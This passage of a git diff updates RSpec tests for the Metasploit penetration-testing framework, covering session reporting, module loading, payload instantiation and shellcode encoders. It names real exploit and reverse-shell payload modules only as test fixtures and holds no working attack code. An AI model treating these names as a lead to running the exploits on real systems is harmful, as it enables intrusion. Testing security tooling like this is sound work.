https://www.pivotaltracker.com/story/show/48362615 + it { expect(subject.vuln_id).to eq(Mdm::Vuln.last.id) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.datastore['ParentModule']" do + it { expect(subject.module).to eq(parent_module_fullname) } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + session.via_exploit = parent_module_fullname + end + + it { expect(subject.module).to eq(session.via_exploit) } + end + end + end + + context 'returned Mdm::Session' do + before(:each) do + Timecop.freeze + end + + after(:each) do + Timecop.return + end + + subject(:mdm_session) do + report_session + end + + # + # Ensure session has attributes present so its on mdm_session are + # not just comparing nils. + # + + it 'should have session.info present' do + session.info.should be_present + end + + it 'should have session.sid present' do + session.sid.should be_present + end + + it 'should have session.platform present' do + session.platform.should be_present + end + + it 'should have session.type present' do + session.type.should be_present + end + + it 'should have session.via_exploit present' do + session.via_exploit.should be_present + end + + it 'should have session.via_payload present' do + session.via_exploit.should be_present + end + + it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) } + it { expect(subject.desc).to eq(session.info) } + it { expect(subject.host_id).to eq(Mdm::Host.last.id) } + it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) } + it { expect(subject.local_id).to eq(session.sid) } + it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) } + it { expect(subject.platform).to eq(session.platform) } + it { expect(subject.routes).to eq([]) } + it { expect(subject.stype).to eq(session.type) } + it { expect(subject.via_payload).to eq(session.via_payload) } + + context "with session.via_exploit 'exploit/multi/handler'" do + it "should have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should == 'exploit/multi/handler' + end + + context "with session.exploit_datastore['ParentModule']" do + it "should have session.exploit_datastore['ParentModule']" do + session.exploit_datastore['ParentModule'].should_not be_nil + end + + it { expect(subject.via_exploit).to eq(parent_module_fullname) } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + reference_name = 'windows/smb/ms08_067_netapi' + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + it "should not have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should_not == 'exploit/multi/handler' + end + + it { expect(subject.via_exploit).to eq(session.via_exploit) } + end + end + end + end + + context 'without Msf::Session' do + let(:session) do + double('Not a Msf::Session') + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session") + end + end + end + + context 'without :session' do + context 'with :host' do + before(:each) do + options[:host] = host + end + + context 'with Mdm::Host' do + let(:host) do + FactoryGirl.create(:mdm_host) + end + + context 'created Mdm::Session' do + let(:closed_at) do + nil + end + + let(:close_reason) do + 'Closed because...' + end + + let(:description) do + 'Session Description' + end + + let(:exploit_full_name) do + 'exploit/windows/smb/ms08_067_netapi' + end + + let(:last_seen) do + nil + end + + let(:opened_at) do + Time.now.utc - 5.minutes + end + + let(:payload_full_name) do + 'payload/singles/windows/metsvc_reverse_tcp' + end + + let(:platform) do + 'Host Platform' + end + + let(:routes) do + nil + end + + let(:session_type) do + 'Session Type' + end + + before(:each) do + options[:closed_at] = closed_at + options[:close_reason] = close_reason + options[:desc] = description + options[:last_seen] = last_seen + options[:opened_at] = opened_at + options[:platform] = platform + options[:routes] = routes + options[:stype] = session_type + options[:via_payload] = payload_full_name + options[:via_exploit] = exploit_full_name + end + + subject(:mdm_session) do + report_session + end + + it { expect(subject.close_reason).to eq(close_reason) } + it { expect(subject.desc).to eq(description) } + it { expect(subject.host).to eq(host) } + it { expect(subject.platform).to eq(platform) } + it { expect(subject.stype).to eq(session_type) } + it { expect(subject.via_exploit).to eq(exploit_full_name) } + it { expect(subject.via_payload).to eq(payload_full_name) } + + context 'with :last_seen' do + let(:last_seen) do + opened_at + end + + it { expect(subject.last_seen).to eq(last_seen) } + end + + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + it { expect(subject.closed_at).to eq(closed_at) } + end + + context 'without :closed_at' do + it { expect(subject.closed_at).to be_nil } + end + + context 'without :last_seen' do + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + it { expect(subject.last_seen).to eq(closed_at) } + end + + context 'without :closed_at' do + it { expect(subject.last_seen).to be_nil } + end + end + + context 'with :routes' do + let(:routes) do + FactoryGirl.build_list( + :mdm_route, + 1, + :session => nil + ) + end + + it { expect(subject.routes).to eq(routes) } + end + + context 'without :routes' do + it { expect(subject.routes).to eq([]) } + end + end + end + + context 'without Mdm::Host' do + let(:host) do + '192.168.0.1' + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :host, expected Host object") + end + end + end + + context 'without :host' do + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError) + end + end + end + end + + context 'without active' do + let(:active) do + false + end + + it { should be_nil } + + it 'should not create a connection' do + ActiveRecord::Base.connection_pool.should_not_receive(:with_connection) + + report_session + end + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/session_event.rb b/spec/support/shared/examples/msf/db_manager/session_event.rb new file mode 100644 index 0000000000..51c244670b --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/session_event.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::SessionEvent' do + it { is_expected.to respond_to :report_session_event } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/sink.rb b/spec/support/shared/examples/msf/db_manager/sink.rb new file mode 100644 index 0000000000..af9eb81a46 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/sink.rb @@ -0,0 +1,7 @@ +shared_examples_for 'Msf::DBManager::Sink' do + it { is_expected.to respond_to :initialize_sink } + it { is_expected.to respond_to :queue } + it { is_expected.to respond_to :sink } + it { is_expected.to respond_to :sink= } + it { is_expected.to respond_to :sync } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/task.rb b/spec/support/shared/examples/msf/db_manager/task.rb new file mode 100644 index 0000000000..73415af730 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/task.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Task' do + it { is_expected.to respond_to :find_or_create_task } + it { is_expected.to respond_to :report_task } + it { is_expected.to respond_to :tasks } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index 8e682b0298..d44bef42a9 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -57,4 +57,4 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do update_all_module_details end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb index adc5887f25..54a4f18885 100644 --- a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb +++ b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb @@ -23,4 +23,4 @@ shared_examples_for 'Msf::DBManager#update_module_details with module' do |optio }.to_not raise_error end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/vuln.rb b/spec/support/shared/examples/msf/db_manager/vuln.rb new file mode 100644 index 0000000000..f642b50828 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/vuln.rb @@ -0,0 +1,10 @@ +shared_examples_for 'Msf::DBManager::Vuln' do + it { is_expected.to respond_to :each_vuln } + it { is_expected.to respond_to :find_or_create_vuln } + it { is_expected.to respond_to :find_vuln_by_details } + it { is_expected.to respond_to :find_vuln_by_refs } + it { is_expected.to respond_to :get_vuln } + it { is_expected.to respond_to :has_vuln? } + it { is_expected.to respond_to :report_vuln } + it { is_expected.to respond_to :vulns } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/vuln_attempt.rb b/spec/support/shared/examples/msf/db_manager/vuln_attempt.rb new file mode 100644 index 0000000000..37b3ec9871 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/vuln_attempt.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::VulnAttempt' do + it { is_expected.to respond_to :report_vuln_attempt } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/vuln_detail.rb b/spec/support/shared/examples/msf/db_manager/vuln_detail.rb new file mode 100644 index 0000000000..a44a357ca7 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/vuln_detail.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::VulnDetail' do + it { is_expected.to respond_to :report_vuln_details } + it { is_expected.to respond_to :update_vuln_details } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/web.rb b/spec/support/shared/examples/msf/db_manager/web.rb new file mode 100644 index 0000000000..ba0335b115 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/web.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Web' do + it { is_expected.to respond_to :report_web_form } + it { is_expected.to respond_to :report_web_page } + it { is_expected.to respond_to :report_web_site } + it { is_expected.to respond_to :report_web_vuln } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/wmap.rb b/spec/support/shared/examples/msf/db_manager/wmap.rb new file mode 100644 index 0000000000..549f495b67 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/wmap.rb @@ -0,0 +1,25 @@ +shared_examples_for 'Msf::DBManager::WMAP' do + it { is_expected.to respond_to :create_request } + it { is_expected.to respond_to :create_target } + it { is_expected.to respond_to :delete_all_targets } + it { is_expected.to respond_to :each_distinct_target } + it { is_expected.to respond_to :each_request } + it { is_expected.to respond_to :each_request_target } + it { is_expected.to respond_to :each_request_target_with_body } + it { is_expected.to respond_to :each_request_target_with_headers } + it { is_expected.to respond_to :each_request_target_with_path } + it { is_expected.to respond_to :each_request_target_with_query } + it { is_expected.to respond_to :each_target } + it { is_expected.to respond_to :get_target } + it { is_expected.to respond_to :request_distinct_targets } + it { is_expected.to respond_to :request_sql } + it { is_expected.to respond_to :requests } + it { is_expected.to respond_to :selected_host } + it { is_expected.to respond_to :selected_id } + it { is_expected.to respond_to :selected_port } + it { is_expected.to respond_to :selected_ssl } + it { is_expected.to respond_to :selected_wmap_target } + it { is_expected.to respond_to :sql_query } + it { is_expected.to respond_to :target_requests } + it { is_expected.to respond_to :targets } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/workspace.rb b/spec/support/shared/examples/msf/db_manager/workspace.rb new file mode 100644 index 0000000000..873cd3c691 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/workspace.rb @@ -0,0 +1,8 @@ +shared_examples_for 'Msf::DBManager::Workspace' do + it { is_expected.to respond_to :add_workspace } + it { is_expected.to respond_to :default_workspace } + it { is_expected.to respond_to :find_workspace } + it { is_expected.to respond_to :workspace } + it { is_expected.to respond_to :workspace= } + it { is_expected.to respond_to :workspaces } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 495ca3e2e6..d9884c4432 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -44,7 +44,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do {} end - it { should be_true } + it { should be_truthy } end context 'without empty' do @@ -54,7 +54,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do } end - it { should be_false } + it { should be_falsey } end end @@ -196,7 +196,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should be_false } + it { should be_falsey } end context 'with true' do @@ -204,7 +204,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do true end - it { should be_true } + it { should be_truthy } end end end @@ -214,7 +214,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do {} end - it { should be_false } + it { should be_falsey } end end @@ -315,7 +315,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do true end - it { should be_true } + it { should be_truthy } end context 'without migrated' do @@ -323,7 +323,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should be_false } + it { should be_falsey } end end @@ -332,7 +332,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do framework.stub(:db => nil) end - it { should be_false } + it { should be_falsey } end end @@ -358,29 +358,10 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end context 'with framework migrated' do - include_context 'DatabaseCleaner' - let(:framework_migrated?) do true end - before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] - - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - framework.db.connect(spec) - end - - it 'should call ActiveRecord::Base.connection_pool.with_connection' do - # 1st is from with_established_connection - # 2nd is from module_info_by_path_from_database! - ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times - - module_info_by_path_from_database! - end - it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do Mdm::Module::Detail.should_receive(:find_each) @@ -408,7 +389,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do - Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original + Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).at_least(:once).and_call_original module_info_by_path_from_database! end @@ -422,10 +403,10 @@ shared_examples_for 'Msf::ModuleManager::Cache' do module_info_by_path_from_database! end - its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) } - its([:parent_path]) { should == parent_path } - its([:reference_name]) { should == reference_name } - its([:type]) { should == type } + it { expect(subject[:modification_time]).to be_within(1.second).of(pathname_modification_time) } + it { expect(subject[:parent_path]).to eq(parent_path) } + it { expect(subject[:reference_name]).to eq(reference_name) } + it { expect(subject[:type]).to eq(type) } end context 'typed module set' do @@ -465,8 +446,6 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) } - it 'should reset #module_info_by_path' do # pre-fill module_info_by_path so change can be detected module_manager.send(:module_info_by_path=, double('In-memory Cache')) @@ -477,4 +456,4 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 9f32665fc4..7c492100ed 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -9,7 +9,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do module_path = tempfile.path subject.send(:module_info_by_path)[module_path].should be_nil - subject.file_changed?(module_path).should be_true + subject.file_changed?(module_path).should be_truthy end end @@ -25,7 +25,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do :type => Msf::MODULE_PAYLOAD } - subject.file_changed?(module_path).should be_true + subject.file_changed?(module_path).should be_truthy end end @@ -41,8 +41,8 @@ shared_examples_for 'Msf::ModuleManager::Loading' do tempfile.unlink - File.exist?(module_path).should be_false - subject.file_changed?(module_path).should be_true + File.exist?(module_path).should be_falsey + subject.file_changed?(module_path).should be_truthy end it 'should return true if modification time does not match the cached modification time' do @@ -56,7 +56,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do } cached_modification_time.should_not == modification_time - subject.file_changed?(module_path).should be_true + subject.file_changed?(module_path).should be_truthy end end @@ -71,7 +71,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do } cached_modification_time.should == modification_time - subject.file_changed?(module_path).should be_false + subject.file_changed?(module_path).should be_falsey end end end @@ -159,4 +159,4 @@ shared_examples_for 'Msf::ModuleManager::Loading' do on_module_load end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb index 0951211d28..dc24b4c986 100644 --- a/spec/support/shared/examples/msf/module_manager/module_paths.rb +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -14,33 +14,6 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do end end - context 'with Fastlib archive' do - it 'should raise an ArgumentError unless the File exists' do - file = Tempfile.new(archive_basename) - # unlink will clear path, so copy it to a variable - path = file.path - file.unlink - - File.exist?(path).should be_false - - expect { - module_manager.add_module_path(path) - }.to raise_error(ArgumentError, "The path supplied does not exist") - end - - it 'should add the path to #module_paths if the File exists' do - Tempfile.open(archive_basename) do |temporary_file| - path = temporary_file.path - - File.exist?(path).should be_true - - module_manager.add_module_path(path) - - module_paths.should include(path) - end - end - end - context 'with directory' do it 'should add path to #module_paths' do Dir.mktmpdir do |path| @@ -49,19 +22,6 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do module_paths.should include(path) end end - - context 'containing Fastlib archives' do - it 'should add each Fastlib archive to #module_paths' do - Dir.mktmpdir do |directory| - Tempfile.open(archive_basename, directory) do |file| - module_manager.add_module_path(directory) - - module_paths.should include(directory) - module_paths.should include(file.path) - end - end - end - end end context 'with other file' do @@ -74,4 +34,4 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb b/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb deleted file mode 100644 index f0f5b0582e..0000000000 --- a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb +++ /dev/null @@ -1,14 +0,0 @@ -# -*- coding:binary -*- -shared_examples_for 'Msf::Modules::Loader::Archive#read_module_content' do - it 'should be able to read the module content' do - archived_module_content = subject.send(:read_module_content, @parent_path, type, module_reference_name) - unarchived_module_content = '' - - File.open(unarchived_path) do |f| - unarchived_module_content = f.read - end - - unarchived_module_content.should_not be_empty - archived_module_content.should == unarchived_module_content - end -end diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index 56df640695..134e28ad8b 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -3,11 +3,11 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do context '#init_module_paths' do def init_module_paths - framework.init_module_paths + framework.init_module_paths(options) end let(:module_directory) do - nil + Rails.application.root.join('modules').expand_path.to_path end let(:user_module_directory) do @@ -23,7 +23,6 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do # to init_module_paths doesn't get captured. framework - Msf::Config.stub(:module_directory => module_directory) Msf::Config.stub(:user_module_directory => user_module_directory) end @@ -33,22 +32,15 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do init_module_paths end + it "adds Rails.application.paths['modules'] to module paths" do + expect(framework.modules).to receive(:add_module_path).with(module_directory, options) + + init_module_paths + end + context 'Msf::Config' do - context 'module_directory' do - context 'without nil' do - let(:module_directory) do - 'modules' - end - - it 'should add Msf::Config.module_directory to module paths' do - framework.modules.should_receive(:add_module_path).with( - module_directory, - options - ) - - init_module_paths - end - end + before(:each) do + allow(Rails.application.paths).to receive(:[]).with('modules').and_return(nil) end context 'user_module_directory' do @@ -70,6 +62,10 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do end context 'datastore' do + before(:each) do + allow(Rails.application.paths).to receive(:[]).with('modules').and_return(nil) + end + context 'MsfModulePaths' do let(:module_paths) do module_paths = [] @@ -96,4 +92,4 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/options.rb b/spec/support/shared/examples/options.rb index d84fa9a692..da2f7031c0 100644 --- a/spec/support/shared/examples/options.rb +++ b/spec/support/shared/examples/options.rb @@ -32,10 +32,10 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| it "should be valid and normalize appropriately: #{valid_value}" do block = Proc.new { subject.normalize(valid_value).should == normalized_value - subject.valid?(valid_value).should be_true + subject.valid?(valid_value).should be_truthy } - if vhash[:pending] - pending(vhash[:pending], &block) + if vhash[:skip] + skip(vhash[:skip], &block) else block.call end @@ -47,9 +47,9 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| invalid_values.each do |vhash| invalid_value = vhash[:value] it "should not be valid: #{invalid_value}" do - block = Proc.new { subject.valid?(invalid_value).should be_false } - if vhash[:pending] - pending(vhash[:pending], &block) + block = Proc.new { subject.valid?(invalid_value).should be_falsey } + if vhash[:skip] + skip(vhash[:skip], &block) else block.call end diff --git a/spec/support/shared/examples/payload_can_be_instantiated.rb b/spec/support/shared/examples/payload_can_be_instantiated.rb new file mode 100644 index 0000000000..a27323aaa7 --- /dev/null +++ b/spec/support/shared/examples/payload_can_be_instantiated.rb @@ -0,0 +1,132 @@ +# @note Requires use of 'untested payloads' shared context for tracking of `@actual_ancestor_reference_name_set`. +# +# Tests that the `:ancestor_reference_names` can be loaded from `:modules_pathname` and once the ancestors are loaded +# that `:reference_name` can be instantiated. +# +# # Payload Reference Name Derivation +# You can see this naming logic [here](https://github.com/rapid7/metasploit-framework/blob/1508be6254f698f345616d14415bce164bf377f9/lib/msf/core/payload_set.rb#L132-L148). +# +# ## Single +# 1. Remove the payload type prefix, `modules/payloads/singles`, from the path. +# 2. Remove the file extension, `.rb` from the path +# +# This is <reference_name> +# +# ## Staged +# +# ### Stager +# Determine if the stager module has a `handler_type_alias` +# No) Use stager's handler's `handler_type` as `<handler_type>`. +# Yes) Use the return value from `handler_type_alias` as `<handler_type>`. +# +# ### Stage +# 1. Remove the payload type prefix, `modules/payloads/stages`, from the path. +# 2. Remove the file extension, `.rb` from the path. +# +# This is <stage_reference_name>. +# +# ### Combining +# The final staged module's combined `<reference_name>` is `<stage_reference_name>/<handler_type>`. +# +# @example Using 'payload can be instantiated' with `Metasploit::Framework::Spec::UntestedPayloads.define_task` and 'untested payloads' shared context +# # Rakefile +# require 'metasploit/framework/spec/untested_payloads' +# +# # defined spec task with rspec-rails +# My::Application.load_tasks +# # extends spec task to fail when there are untested payloads +# Metasploit::Framework::Spec::UntestedPayloads.define_task +# +# # spec/modules/payloads_spec.rb +# require 'spec_helper' +# +# describe 'modules/payloads' do +# modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules') +# +# include_context 'untested payloads', modules_pathname: modules_pathname +# +# context 'my/staged/payload/handler' do +# it_should_behave_like 'payload can be instantiated', +# ancestor_reference_names: [ +# 'stages/my/payload', +# 'stagers/my/payload/handler' +# ], +# modules_pathname: modules_pathname, +# reference_name: 'my/staged/payload/handler' +# end +# end +# +# @param options [Hash{Symbol => Array<String>, Pathname, String}] +# @option options [Array<String>] :ancestor_reference_names The reference names of the payload modules that are included +# in {Msf::Payload} to make the `:reference_name` payload. Ancestor reference names are the names of the files under +# `modules/payloads` without the extension `.rb` that are mixed together to form a payload module `Class`. For +# single payloads, there will be one ancestor reference name from `modules/payloads/singles`, while for staged +# payloads there with be one ancestor reference name from `modules/payloads/stagers` and one ancestor reference name +# from `modules/payloads/stages`. +# @option options [Pathname] :modules_pathname The `modules` directory from which to load `:ancestor_reference_names`. +# @option options [String] :reference_name The reference name for payload class that should be instantiated from mixing +# `:ancestor_reference_names`. +# @return [void] +shared_examples_for 'payload can be instantiated' do |options| + options.assert_valid_keys(:ancestor_reference_names, :modules_pathname, :reference_name) + + ancestor_reference_names = options.fetch(:ancestor_reference_names) + + modules_pathname = options.fetch(:modules_pathname) + modules_path = modules_pathname.to_path + + reference_name = options.fetch(:reference_name) + + module_type = 'payload' + + include_context 'Msf::Simple::Framework' + + # + # lets + # + + let(:loader) { + loader = framework.modules.send(:loaders).find { |loader| + loader.loadable?(modules_path) + } + + # Override load_error so that rspec will print it instead of going to framework log + def loader.load_error(module_path, error) + raise error + end + + loader + } + + let(:module_set) { + framework.modules.module_set(module_type) + } + + context reference_name do + ancestor_reference_names.each do |ancestor_reference_name| + it "can load '#{module_type}/#{ancestor_reference_name}'" do + @actual_ancestor_reference_name_set.add(ancestor_reference_name) + + loaded = loader.load_module(modules_path, module_type, ancestor_reference_name) + + expect(loaded).to eq(true), "#{ancestor_reference_name} failed to load from #{modules_path}" + end + end + + it 'can be instantiated' do + ancestor_reference_names.each do |ancestor_reference_name| + loaded = loader.load_module(modules_path, module_type, ancestor_reference_name) + + expect(loaded).to eq(true), "#{ancestor_reference_name} failed to load from #{modules_path}" + end + + module_instance = nil + + expect { + module_instance = module_set.create(reference_name) + }.not_to raise_error + + expect(module_instance).not_to be_nil, "Could not instantiate #{module_type}/#{reference_name}" + end + end +end diff --git a/spec/support/shared/examples/rex/encoder/alpha2/generic.rb b/spec/support/shared/examples/rex/encoder/alpha2/generic.rb new file mode 100644 index 0000000000..84dcd96ae2 --- /dev/null +++ b/spec/support/shared/examples/rex/encoder/alpha2/generic.rb @@ -0,0 +1,65 @@ +shared_examples_for 'Rex::Encoder::Alpha2::Generic' do + + describe ".encode_byte" do + subject(:encoded_byte) { described_class.encode_byte(block, badchars) } + + context "when too many badchars" do + let(:block) { 0x41 } + let(:badchars) { (0x00..0xff).to_a.pack("C*") } + + it "raises an error" do + expect { encoded_byte }.to raise_error(RuntimeError) + end + end + + context "when encoding is possible" do + let(:block) { 0x41 } + let(:badchars) { 'B' } + + it "returns two-bytes encoding" do + expect(encoded_byte.length).to eq(2) + end + + it "returns encoding without badchars" do + badchars.each_char do |b| + is_expected.to_not include(b) + end + end + end + + end + + describe ".encode" do + subject(:encoded_result) { described_class.encode(buf, reg, offset, badchars) } + let(:buf) { 'ABCD' } + let(:reg) { 'ECX' } + let(:offset) { 0 } + + context "when too many badchars" do + let(:badchars) { (0x00..0xff).to_a.pack("C*") } + + it "raises an error" do + expect { encoded_result }.to raise_error(RuntimeError) + end + end + + context "when encoding is possible" do + let(:badchars) { '\n' } + + it "returns encoding starting with the decoder stub" do + is_expected.to start_with(described_class.gen_decoder(reg, offset)) + end + + it "returns encoding ending with terminator" do + is_expected.to end_with(described_class.add_terminator) + end + end + end + + describe ".add_terminator" do + subject(:terminator) { described_class.add_terminator } + + it { is_expected.to eq('AA') } + end + +end diff --git a/spec/support/shared/examples/rex/encoder/ndr/wstring.rb b/spec/support/shared/examples/rex/encoder/ndr/wstring.rb new file mode 100644 index 0000000000..75d79587cb --- /dev/null +++ b/spec/support/shared/examples/rex/encoder/ndr/wstring.rb @@ -0,0 +1,18 @@ +shared_examples_for "Rex::Encoder::NDR.wstring" do + let(:string) { "ABCD" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00") + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq(string.length + 1) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq(string.length + 1) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(24) + end +end diff --git a/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb b/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb new file mode 100644 index 0000000000..49dc812aba --- /dev/null +++ b/spec/support/shared/examples/rex/encoder/ndr/wstring_prebuild.rb @@ -0,0 +1,39 @@ +shared_examples_for "Rex::Encoder::NDR.wstring_prebuild" do + context "when 2-byte aligned string length" do + let(:string) { "A\x00B\x00C\x00" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00") + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq(string.length / 2) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq(string.length / 2) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(20) + end + end + + context "when 2-byte unaligned string length" do + let(:string) { "A\x00B\x00C" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00") + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq((string.length + 1) / 2) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq((string.length + 1) / 2) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(20) + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/rex/image_source/image_source.rb b/spec/support/shared/examples/rex/image_source/image_source.rb new file mode 100644 index 0000000000..f080d5a6dd --- /dev/null +++ b/spec/support/shared/examples/rex/image_source/image_source.rb @@ -0,0 +1,23 @@ +shared_examples_for "Rex::ImageSource::ImageSource" do + + describe "#read_asciiz" do + let(:offset) { 0 } + + it "returns an String" do + expect(subject.read_asciiz(offset)).to be_kind_of(String) + end + + it "returns a null free String" do + expect(subject.read_asciiz(offset)).to_not include("\x00") + end + + context "when offset bigger than available data" do + let(:offset) { 12345678 } + + it "returns an empty String" do + expect(subject.read_asciiz(offset)).to be_empty + end + end + end + +end diff --git a/spec/tools/cpassword_decrypt_spec.rb b/spec/tools/cpassword_decrypt_spec.rb index addf839222..a063c980b0 100644 --- a/spec/tools/cpassword_decrypt_spec.rb +++ b/spec/tools/cpassword_decrypt_spec.rb @@ -2,7 +2,6 @@ require 'spec_helper' load Metasploit::Framework.root.join('tools/cpassword_decrypt.rb').to_path -require 'fastlib' require 'msfenv' require 'msf/base' @@ -28,4 +27,4 @@ describe CPassword do end end end -end \ No newline at end of file +end diff --git a/spec/tools/virustotal_spec.rb 